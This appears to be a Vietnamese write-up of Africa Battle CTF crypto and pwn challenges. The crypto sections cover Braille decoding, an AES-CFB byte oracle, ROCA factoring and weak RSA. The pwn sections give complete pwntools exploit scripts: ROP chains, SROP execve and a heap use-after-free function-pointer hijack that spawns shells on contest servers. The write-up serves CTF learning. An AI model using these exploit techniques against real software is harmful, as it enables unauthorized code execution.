# (writeup) Africa Battle CTF
## CRYPTO
### Back To Origin
- Bài này xàm quá, chall cho ảnh này

- Đây là ancient egyptian alphabet symbols nên ta tìm được bảng này

- Còn lại tự mò đi nhaa, lười quá :-1:
---
### Blind
- Chall cho ta 1 đoạn như sau:
```txt
&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2]
```
- Ta thử lên CyberChef và dùng magic xem thế nào

- Ta thấy có 1 loại alphabet, nhìn là biết Braille, thế nên ta dùng lun của CyberChef thui

>Flag: BATTLECTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}
---
### Gooss
- Ta thấy challenge cho ta 1 đoạn source như sau:
```python
import random
flag = 'battleCTF{******}'
a = random.randint(4,9999999999)
b = random.randint(4,9999999999)
c = random.randint(4,9999999999)
d = random.randint(4,9999999999)
e = random.randint(4,9999999999)
enc = []
for x in flag:
res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)
enc.append(res)
print(enc)
#Output: [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]
```
- Ta cần tìm 5 số a,b,c,d,e bằng cách dùng form flag 'b','a','t','l','e'
Đoạn code tìm 5 số đó là:
```python
lst = vector([1245115057305148164,1195140205147730541,2441940832124642988,1835524676869638124,1404473868033353193])
A = matrix(
[[2*98*98*98*98, 98*98*98 , 98*98 , 98 , 1],
[2*97*97*97*97 , 97*97*97 , 97*97 , 97 , 1],
[2*116*116*116*116, 116*116*116, 116*116, 116, 1],
[2*108*108*108*108, 108*108*108, 108*108, 108, 1],
[2*101*101*101*101, 101*101*101, 101*101, 101, 1]])
print(A.solve_right(lst))
#Output: (6709636436, 7748795321, 7386429784, 62359624, 5008041292)
```
- Ta có được 5 số đó rùi, ta chỉ cần bruteforce các ký tự thui
- Đoạn code cuối sẽ như sau:
```python
from string import*
Output=[1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]
a,b,c,d,e = 6709636436, 7748795321, 7386429784, 62359624, 5008041292
flag = ''
for i in Output:
for x in printable:
res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)
if res == i:
flag = flag + x
print(flag)
```
>Flag: battleCTF{Maths_W1th_Gauss_0x0x0x}
---
### SEA
- Source code chall cho như sau:
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
iv = urandom(16)
key = urandom(16)
FLAG = b"battleCTF{REDACTED}"
def encrypt(data):
cipher = AES.new(key, AES.MODE_CFB, iv)
return cipher.encrypt(pad(data, 16))
print(encrypt(FLAG).hex())
while True:
print(encrypt(input("> ").encode()).hex())
```
- Bài này khá giống với 1 bài trong [KCSCCTF](https://github.com/trananhnhatviet/KCSC_CTF/blob/main/CFB64_solve.md) nên mình không giải thích nhiều mà chỉ đưa ra source code giải chall này thui nhaa
- Trong KCSC thì mã hóa theo từng block, còn bài này thì từng byte 1 nên là vẫn có chút khác nhaa
- Source code sẽ như sau:
```python
from pwn import *
from Crypto.Cipher import AES
p=connect("chall.battlectf.online",20001)
enc_flag=p.recvline().decode()
enc_flag=bytes.fromhex(enc_flag)
f=''
for i in (range(32)):
data=f"{f}"+"\x00"*(32-i)
data=data.encode()
p.recvuntil(b"> ")
p.sendline(data)
data=bytes.fromhex(p.recvline().decode())
ch=data[i]^enc_flag[i]
f+=chr(ch)
print(f)
print(f+'}')
```
> Flag: battleCTF{m057_f4m0us_AES_0x0x0x}
___
### ROCYOU
- Chall đưa ta 1 source code như sau:
```python
from Crypto.Util.number import bytes_to_long
FLAG = bytes_to_long(open("flag.txt").read().encode())
n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
e = 65537
c = pow(FLAG, e, n)
print(f"c = {c}")
#c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504
```
- Theo như mình tìm hiểu thì chall này cần phải sử dụng ROCA attack(lần đầu nghe lun óoo)
- Trước khi làm chall này, ta cần phải build [TOOL](https://gitlab.com/jix/neca) này để factor được n
- Sau khi ta build được, ta dùng lệnh
```bash
./neca 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
```
- Và cái kết

- Ta thu được p và q rùi thì làm như bình thường thoiii
```python
from Crypto.Util.number import*
p,q = 127801155916875524149457561567678575565270601000365665873572024750823913157383, 113917064871970833547038329106470040388258358281464605006613652518914797349747
n = p*q
e = 65537
c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504
print(long_to_bytes(pow(c,(inverse(e,(p-1)*(q-1))),n)))
```
>Flag: battleCTF{ROCA_shork_me_0x0x0x}
---
### Saharaaa
- Source code của chall như sau:
```python
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
FLAG = open("flag.txt").read()
def load_public_key():
with open('pub.pem', 'rb') as pubf:
pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend())
return pubkey
def encrypt(pubkey:rsa.RSAPublicKey, ptxt:str) -> str:
enc = pubkey.encrypt(ptxt.encode(), padding.PKCS1v15())
return b64encode(enc).decode()
def get_pem(key:rsa.RSAPrivateKey|rsa.RSAPublicKey):
if isinstance(key, rsa.RSAPublicKey):
pem = key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
else:
pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())
return pem
if __name__ == '__main__':
pub_key = load_public_key()
print(pub_key)
pub_key_pem = get_pem(pub_key).decode()
print(pub_key_pem)
enc_flag = encrypt(pub_key, FLAG)
with open('flag.enc', 'w') as f:
f.write(enc_flag)
# c = 'QrjGSaOn4vUMNLAWdKif3s0pTi3vjDupP764AqUV13FtO+0MVO5m848H1THn33Lorn5vhDOtr5x3kJBHP8lfPbgvoiw7n/FdhjjyclAlB4JLANUgLIjvurvMfFshuvsg3ljXnpNu+oVET/AgDev1hJp9CrbQ+8Axx9ki4ZRldqC/eUbzypqeun2jjKjMi98GamW6ufnZSxtJwajWLK6dHB72Dcx4sn38iHnqikRixOaUeJ6jR2yhdIYhQr4nU5tggHoxsLjnia8x4qTc4lWYAYz6vJiw1zRs0JwK//sZdEtx09c59Mj0WNrmkD8gP98f22LjHNPIxAHl3OyWY+PfcA=='
# n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321
# e = 65537
```
- Đoạn code kia cũng chỉ là môi trường để tạo file pem và mã hóa theo RSA nhưng mà output lại ra 1 đoạn Base64 mà thôi
- Nói thật là đoạn kia không liên quan gì tới quá trình tạo n, vì vốn dĩ là nó đã có sẵn rồi, bằng chứng là đoạn code này
```python
def load_public_key():
with open('pub.pem', 'rb') as pubf:
pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend())
return pubkey
```
- Ta thử căn bậc 2 cho n thì được, nên ta có đoạn code như sau`
```python
c = 8422843859790922489817737293571981586088914734560090177910517249637055291830016108894715371465730625421376849345591939904351713170906763752209727906985517600285990782942362167430304669733370844182726223551036258097161556301736944890347733184033192808153106059482233919050642911653251231490237648071054804325997824004391186998486294418968608182138149803654814690405972379931270729192791987063785102148874084293941707282830362240290057590698023423525973276637821167911990408718961580268000708298914971920906668800979663451499219279204279683111070390776883803222851722956894172433504133782570883851392848556596897505136
n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321
e = 65537
from gmpy2 import iroot
from Crypto.Util.number import *
from base64 import *
p = iroot(n,2)[0]
d = inverse(e, p*(p-1))
m = pow(c,d,n)
print(long_to_bytes(m))
#Output: b'\x02CF\x9d\x97mF\xa1\xf6\xf8(\xaf\xd9j\xa1\xbd\xdaX\xfa\xc2\r\xb0j*\xdbp\xc3\xe8E\xebxf\xbbe\x1f\x1b9\xed\n)\x0f\x8c\xcci\xbc\x12A\xd7\x86\xa4\xbeW\xc0}-Ly\x1c1\x1e\x92\xf8\xef\xd0vM>s}\xa5wy$"K\x90\xca\xe5\xf6p\xc4$\x0b\\QX0H\xffL\x80\\\xf4B{\x1e9\xdc\x08u\x1d\x97!\xady\xd3$\xa2\xd4\\\xc6\x8d?\xe6\x0e\xc6:2\xaf\x06k9\xf6\x9dW\xae\x12+$_-\xa0\x853Gu\x06\xf4\xbch\x08\xc8+9\x9eM\x9f\xe4(\x8f\xe4av\x8b\x8f\xc7 j\xc4\xb2\x92\xe7PYq\xe0ws\x96xA\x02\x14\x01)\xc4U\xd1\x93\xff\xd7\x0eC\x06\x85@\x9b71\x93?\x82\xae\x95W.\xfdd\x9c\xa6@\x91\x93\x993H\xb8\x11\xc2\x00FLAG: battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}\n'
```
>Flag: battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}
___
## PWN
### ROP_BLACK
- source C:
```c
#include <stdio.h>
#include <stdlib.h>
int check_file = 0;
int african = 0;
int invite_code = 0;
int capcha = 0;
void read_flag(){
if(!(check_file && african && invite_code && capcha)) {
printf("403|You aren't allowed to read the flag!\n");
exit(1);
}
char flag[65];
FILE * f = fopen("flag.txt","r");
if (f == NULL){
printf("flag.txt doesn't exist, try again on the server\n");
exit(0);
}
fgets( flag, 65, f );
printf("%s\n",flag);
fflush(stdout);
}
void check_flag(char* file) {
if(strcmp(file, "flag.txt") == 0) {
check_file = 1;
}
}
void check_african() {
african = 1;
}
void check_invitecode(int code) {
if(code == 0xbae) {
invite_code = 1;
}
}
void check_capcha(int login, int auth) {
if(login == 0x062023 && auth == 0xbf1212) {
capcha = 1;
}
}
void vuln()
{
char buffer[10];
printf("check your identity and read the flag.\n");
gets(buffer);
}
int main(){
vuln();
}
```
- checks và vm

**hmm phân tích sơ qua source nha:**
- ở hàm vuln có lỗi BOF ta có thể khai thác bằng cách ret2win
- tại hàm read_flag có if phải thỏa 4 biến check_file , african, invite_code và capcha phải khác 0, muốn nó khác 0 thì ta phải đi qua 4 hàm của nó để đổi nó thành 1
```c
if(!(check_file && african && invite_code && capcha)) {
printf("403|You aren't allowed to read the flag!\n");
exit(1);
}
```
- hướng làm của ta bây giờ phải đi qua 4 hàm của các biến rồi với đi qua hàm read_flag là sẽ qua flag
**tóm tắt:**
**ret2win -> check_capcha -> check_invitecode -> check_african -> check_flag -> read_flag -> end**
- oke h ta tính offset rồi **ret2win** vào **check_capcha** chạy thử xem sao:

- tại đây nó so sánh **ebp+0x8 với 0x62023** và **ebp+0xc với 0xbf1212** , nên ta phải gán vào **2 stack trên giá trị 0x62023 và 0xbf1212**
**vấn đề xảy ra ở đây là nếu ta gán 0xbf1212 và 0x62023 vào stack thì khi kết thúc hàm check_capcha nó sẽ trỏ vào tiếp vào địa chỉ ko hợp lý dẫn đến lỗi**
- cách giải quyết bây giờ ta phải tìm **ropgadget** hợp lý để sau khi kết thúc các hàm nó sẽ trỏ đến **ropgadget**, sau đó sẽ **pop các giá trị 0x62023 và 0xb1212** vào thanh ghi nào đó để đến lệnh ret sẽ trỏ đến địa chỉ hợp lệ ta cần

>mình sẽ chọn **0x080493e9**
- bây giờ mình sẽ chạy thử đoạn script này xem sao:
```python
payload = b'a'*22 #offset
payload += p32(exe.sym['check_capcha'])
payload += p32(pop_esi_edi_ebp) + p32(0x062023) + p32(0xbf1212) + p32(0x804ca00)
payload += p32(exe.sym['check_invitecode'])
payload += p32(pop_esi_edi_ebp) + p32(0xbae) + p32(0xbae) + p32(0x804ca00)
```

lúc này ret trỏ đến địa chỉ hợp lệ nên sẽ chạy tiếp và ko báo lỗi

- lúc này **pop_esi_edi_ebp** sẽ **gán 0x62023 và 0xbf1212 vào esi và edi** nên sẽ đẩy 0xbae lên vị trí rbp+0x8 thỏa điều kiện hàm **check_invitecode**
- h ta sẽ chạy nốt các hàm còn lại là xong
```python
payload = b'a'*22 #offset
payload += p32(exe.sym['check_capcha'])
payload += p32(pop_esi_edi_ebp) + p32(0x062023) + p32(0xbf1212) + p32(0x804ca00)
payload += p32(exe.sym['check_invitecode'])
payload += p32(pop_esi_edi_ebp) + p32(0xbae) + p32(0xbae) + p32(0x804ca00)
payload += p32(exe.sym['check_african'])
payload += p32(exe.sym['check_flag'])
payload += p32(exe.sym['read_flag']+1)
```

- hmm lỗi rồi nè, debug lại xem sao có lỗi ở đâu

- à thì ra ở đây nó so sánh địa chỉ của **file flag.txt** với **rbp+0x0** nên ta chỉ cần gán **rbp+0x0** bằng địa chỉ **flag.txt** là ra rồi
- script:
```python
from pwn import *
context.binary = exe = ELF('./rop_black',checksec=False)
p = process(exe.path)
# p = remote('chall.battlectf.online',1004)
pop_esi_edi_ebp = 0x080493e9
gdb.attach(p, gdbscript = '''
b*vuln+43
b*vuln+48
c
''')
input()
payload = b'a'*22 #offset
payload += p32(exe.sym['check_capcha'])
payload += p32(pop_esi_edi_ebp) + p32(0x062023) + p32(0xbf1212) + p32(0x804ca00)
payload += p32(exe.sym['check_invitecode'])
payload += p32(pop_esi_edi_ebp) + p32(0xbae) + p32(0xbae) + p32(0x804ca00)
payload += p32(exe.sym['check_african'])
payload += p32(exe.sym['check_flag'])
payload += p32(exe.sym['read_flag']+1)
# payload += p32(0x804a033)
p.sendline(payload)
p.interactive()
```

- lúc này ta làm đúng rồi nè
> Flag: battleCTF{rop_Afr1cA_x_7352adb6a9fd43b762413112a9695fde}
---
### AM1
- source C:
```c
#include <stdio.h>
#include <stdlib.h>
void print_file(char * file)
{
char buffer[20];
FILE * inputFile = fopen( file, "r" );
if ( inputFile == NULL ) {
printf( "Cannot open file %s\n", file );
exit( -1 );
}
fgets( buffer, 65, inputFile );
printf("Output: %s",buffer);
}
int main(){
puts("Welcome to Africa battleCTF.");
puts("Tell us something about you: ");
char buf[0x30];
gets( buf );
return 0;
}
```
- checks và vm:

- hmm bài này có lỗi BOF bình thường và ta dễ dàng ret2win đến hàm print_file
**tại hàm print_file thì nó sẽ đọc 1 file nào đó trong server chưa xác định được, ta thử dùng ret2win chạy thử xem sao**

- đến đây thì nó sẽ so sánh **rbp-0x8** với giá trị **null** giống nhau nên sẽ out chương trình
- vấn đề bây h là hàm **print_file** ko đọc đúng file mình cần, thứ mình cần là file **flag.txt**, nên hướng làm là ta sẽ gán file **flag.txt** vào hàm print_flag để đọc flag
- bây giờ ta cần **pop rdi** và 1 địa chỉ tĩnh ghi được để có thể lợi dùng hàm **gets** để nhập **flag.txt vào pop rdi**

- tại đây địa chi 0x00000000404000 là địa chỉ ghi được, ta sẽ tăng lên là 0x00000000404a00 để chắc chắn ra được
**(chi tiết hướng làm mình sẽ comment trên script)**
- script:
```python
from pwn import *
context.binary = exe = ELF('./am1',checksec=False)
p = process(exe.path)
# p = remote('pwn.battlectf.online',1003)
gdb.attach(p, gdbscript = '''
b*main+55
c
''')
input()
pop_rdi = 0x000000000040128b
payload = b'a'*56 # offset
payload += p64(pop_rdi) + p64(0x00000000404a00) # gán địa chỉ ghi được vào rdi
payload += p64(exe.sym['gets']) #nhập flag.txt vào địa chỉ ghi được
payload += p64(pop_rdi) + p64(0x00000000404a00) #gán flag.txt vào rdi
payload += p64(exe.sym['print_file']) # chạy vào đây in flag
p.sendline(payload)
sleep(2)
p.sendline(b'flag.txt')
p.interactive()
```
> Flag: battleCTF{Africa_1d3al_r0p_e70bee3af3e2b1430d8dc7863a33790d}
---
### youpi
- Bài này ta cần lưu ý khi BOF, ta đã ow rbp, do vậy ta cần ow rbp bằng một địa chỉ trong vùng read-write.
- Khi ret2win thì ta có thể nhảy đến bất cứ đâu ta muốn, do vậy ta sẽ nhảy qua lệnh if kiểm tra check
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('youpi', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+56
b*youpiii+18
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.battlectf.online', 1005)
else:
p = process(exe.path)
pop_rbp = 0x000000000040115d
GDB()
payload = b"a" * 0x30 +p64(0x0000000000404040) + p64(exe.sym['youpiii'] + 18)
sla(b"country: \n", payload)
p.interactive()
```
> Flag:
---
### AXOVI
- BOF đơn giản, vì chương trình cho ta hàm system, và pop rdi. Chỉ thiếu /bin/sh, do đó ta sẽ ghi /bin/sh vào vùng read-write bằng gets, sau đó pop rdi địa chỉ /bin/sh
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('axovi', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x0000000000401157
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.battlectf.online', 1002)
else:
p = process(exe.path)
GDB()
pop_rdi = 0x00000000004011bb
rw = 0x0000000000404000
payload = b"a" * 56 + flat(
pop_rdi, rw, exe.plt['gets'], pop_rdi, rw, exe.plt['system']
)
sla(b"about :", payload)
p.interactive()
```
---
### battleCTF Event Portal
```python=
import math
a = 4643287737560106158
b = 8241998971081357166
y = 2**64
gcd_by = math.gcd(b, y)
if a % gcd_by == 0:
i = (a // gcd_by * pow(b // gcd_by, -1, y // gcd_by)) % (y // gcd_by)
print(i)
else:
print("Không tìm thấy giá trị i thỏa mãn.")
```
```python
from z3 import *
foREVer = Solver()
x = BitVec("0", 64)
foREVer.add(((x * 0x726176656e70776e) & 0xffffffffffffffff) == 0x407045989b3284ae)
if foREVer.check() == sat:
solution = foREVer.model()
solution = hex(int(str(solution[x])))
solution = solution[2:]
value = ""
i = int(len(solution) / 2)
while i > 0:
i -= 1
y = solution[(i*2):(i*2) + 2]
value += chr(int("0x" + y, 16))
print("Now I think, I understand: " + value)
else:
print("Not solvable, I would recommend crying, a lot")
```

> payload = 'anniepwn'

> Flag: battleCTF{N3w_1nteg3r_0v3rfl0w_bb4a0612f6b3ad0d04223e022687600c}
---
### 0xf
- bài này SROP đơn giản
- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('0xf', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main +55
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.battlectf.online', 1009)
else:
p = process(exe.path)
GDB()
syscall = 0x0000000000401140
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402004
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0
frame.rip = syscall
payload = b"a" * 56 + p64(exe.sym['hausa']+1) + p64(syscall) + bytes(frame)
sla(b"ethnicity:\n", payload)
p.interactive()
```
---
### Danxome
#### Source
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MINON_SIZE 10
#define MAX_NAME_SIZE 0x40
typedef struct Awhouangan Awhouangan;
typedef struct Gbeto Gbeto;
typedef struct Minon Minon;
typedef void (*speakFunc)(char*);
enum MinonType {
AWHOUANGAN,
GBETO
};
struct Minon
{
speakFunc
;
enum MinonType type;
char* name;
};
struct Danxome
{
int numOfMinon;
Minon* minons[MINON_SIZE];
} danxome = { .numOfMinon = 0 };
void Nawi() {
system("/bin/sh");
}
void print(char* str) {
system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");
printf(": %s\n", str);
}
void speak(char* name) {
print(name);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(60);
}
int menu() {
int choice = -1;
print("Welcome to Danxome Military zone !!!");
print("1) Add Minon");
print("2) Remove Minon");
print("3) Report Minon Name");
print("0) Exit");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < 5) {
break;
}
printf("??\n");
}
printf("\n");
return choice;
}
void add_minon() {
int choice;
int size;
int idx;
Minon* minon;
if (danxome.numOfMinon >= MINON_SIZE) {
print("[ERROR] The Military zone is full.");
return;
}
for (idx = 0; idx < MINON_SIZE; idx++) {
if (danxome.minons[idx] == NULL) {
break;
}
}
minon = (Minon*) malloc(sizeof(Minon));
print("Type of Minon?");
print("1) Awhouangan");
print("2) Gbeto");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice == 1) {
minon->type = AWHOUANGAN;
break;
}
if (choice == 2) {
minon->type = GBETO;
break;
}
printf("??\n");
}
minon->speak = speak;
print("How long is the name? (max: 64 characters)");
while (1) {
printf("> ");
scanf("%d", &size);
if (size >= 0 && size < MAX_NAME_SIZE) {
minon->name = (char*) malloc(size);
break;
}
printf("??\n");
}
print("Name of minon?");
printf("> ");
read(0, minon->name, size);
danxome.minons[idx] = minon;
printf("> [DEBUG] Minon is added to Military zone %d\n", idx);
danxome.numOfMinon++;
}
void remove_minon() {
int choice;
if (danxome.numOfMinon <= 0) {
print("[ERROR] No minon in the Military zone.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < MINON_SIZE) {
break;
}
printf("??\n");
}
if (danxome.minons[choice] == NULL) {
print("[ERROR] No minon in this zone.");
return;
}
free(danxome.minons[choice]->name);
free(danxome.minons[choice]); //UAF
printf("> [DEBUG] Minon is removed from zone %d\n", choice);
danxome.numOfMinon--;
}
void report_name() {
int choice;
if (danxome.numOfMinon <= 0) {
print("[ERROR] No minon in the Military zone.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < MINON_SIZE) {
break;
}
printf("??\n");
}
if (danxome.minons[choice] == NULL) {
print("[ERROR] No minon in this zone.");
return;
}
danxome.minons[choice]->speak(danxome.minons[choice]->name);
}
int main(int argc, char const *argv[]) {
int leave = 0;
init();
while(!leave) {
switch (menu()) {
case 1:
add_minon();
break;
case 2:
remove_minon();
break;
case 3:
report_name();
break;
default:
leave = 1;
}
printf("\n");
}
return 0;
}
```
#### Ý tưởng
- Ta có lỗi UAF do chương trình sau khi free, không hề xoá con trỏ

- Mỗi khi tạo 1 minon mới, tạo 2 chunk, chunk đầu tiên size mặc định 0x20 để lưu hàm speak, và chunk thứ 2 được sử dụng để lưu tên
- Khi report_name, chương trình sẽ lấy chunk đầu tiên đang lưu hàm speak vào rdx, và call rdx

- Vậy ta cần phải ow chunk đầu tiên thành hàm `Nawi()` chứa `system()`
- Để có thể ow chunk chứa speak, ta sẽ lợi dụng cơ chế LIFO của fastbin, tcache
#### Khai thác
- Đầu tiên ta sẽ tạo 2 minon 0 và 1 như sau và free theo thứ tự sau:

- Khi này trong fastbin thứ tự các chunk như số màu đỏ
- Khi ta tạo thêm 1 chunk có size 0x20, chương trình sẽ lấy chunk 4 (để lưu speak) và chunk 2 (để lưu tên)
- Ta thấy rằng do chương trình không xoá con trỏ ra khỏi danh sách minon, ta đã có thể UAF minon 0, ow speak thành `Nawi()`

- script:
```python
from pwn import *
# p = remote('pwn.battlectf.online', 1006)
p = process("./minon")
elf = ELF('./minon')
get_shell = elf.symbols['Nawi']
gdb.attach(p, gdbscript = '''
b*0x000000000040131f
b*0x0000000000401616
b*0x00000000004016f1
c
''')
input()
def add(size, name):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', str(size).encode('utf-8'))
p.sendafter(b'>', name)
p.recvuntil(b'> [DEBUG]')
def remove(idx):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', str(idx).encode('utf-8'))
def report(idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'>', str(idx).encode('utf-8'))
add(0x18, b'a'*8)
add(0x38, b'a'*8)
remove(0)
remove(1)
add(0x18, flat(elf.sym['Nawi']))
report(0)
p.interactive()
```
---
### Danxome2
#### Source
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MINON_SIZE 10
//#define MAX_NAME_SIZE 0x40
typedef struct Awhouangan Awhouangan;
typedef struct Gbeto Gbeto;
typedef struct Minon Minon;
typedef void (*speakFunc)(char*);
enum MinonType {
AWHOUANGAN,
GBETO
};
struct Minon
{
speakFunc speak;
enum MinonType type;
char* name;
};
struct Danxome
{
int numOfMinon;
Minon* minons[MINON_SIZE];
} danxome = { .numOfMinon = 0 };
void print(char* str) {
system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");
printf(": %s\n", str);
}
void speak(char* name) {
print(name);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(60);
}
int menu() {
int choice = -1;
print("Welcome to Danxome Military zone !!!");
print("1) Add Minon");
print("2) Remove Minon");
print("3) Report Minon Name");
print("0) Exit");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < 5) {
break;
}
printf("??\n");
}
printf("\n");
return choice;
}
void add_minon() {
int choice;
int size;
int idx;
Minon* minon;
if (danxome.numOfMinon >= MINON_SIZE) {
print("[ERROR] The Military zone is full.");
return;
}
for (idx = 0; idx < MINON_SIZE; idx++) {
if (danxome.minons[idx] == NULL) {
break;
}
}
minon = (Minon*) malloc(sizeof(Minon));
print("Type of Minon?");
print("1) Awhouangan");
print("2) Gbeto");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice == 1) {
minon->type = AWHOUANGAN;
break;
}
if (choice == 2) {
minon->type = GBETO;
break;
}
printf("??\n");
}
minon->speak = speak;
minon->name = (char*) malloc(0x18);
print("Name of minon?");
printf("> ");
read(0, minon->name, 0x18);
danxome.minons[idx] = minon;
printf("> [DEBUG] Minon is added to Military zone %d\n", idx);
danxome.numOfMinon++;
}
void remove_minon() {
int choice;
if (danxome.numOfMinon <= 0) {
print("[ERROR] No minon in the Military zone.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < MINON_SIZE) {
break;
}
printf("??\n");
}
if (danxome.minons[choice] == NULL) {
print("[ERROR] No minon in this zone.");
return;
}
free(danxome.minons[choice]->name);
free(danxome.minons[choice]);
printf("> [DEBUG] Minon is removed from zone %d\n", choice);
danxome.numOfMinon--;
}
void report_name() {
int choice;
if (danxome.numOfMinon <= 0) {
print("[ERROR] No minon in the Military zone.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < MINON_SIZE) {
break;
}
printf("??\n");
}
if (danxome.minons[choice] == NULL) {
print("[ERROR] No minon in this zone.");
return;
}
danxome.minons[choice]->speak(danxome.minons[choice]->name);
}
int main(int argc, char const *argv[]) {
int leave = 0;
init();
while(!leave) {
switch (menu()) {
case 1:
add_minon();
break;
case 2:
remove_minon();
break;
case 3:
report_name();
break;
default:
leave = 1;
}
printf("\n");
}
return 0;
}
```
#### Ý tưởng
- Bài này tương tự như Danxome cũng có lỗ hổng ở chỗ không xoá con trỏ sau khi free và UAF
- Chương trình khá ổn khi 1 lần tạo 2 chunk (chunk lưu speak, chunk lưu tên) đều 0x20 byte và khi free thì chunk tên free trước, chunk speak free sau.
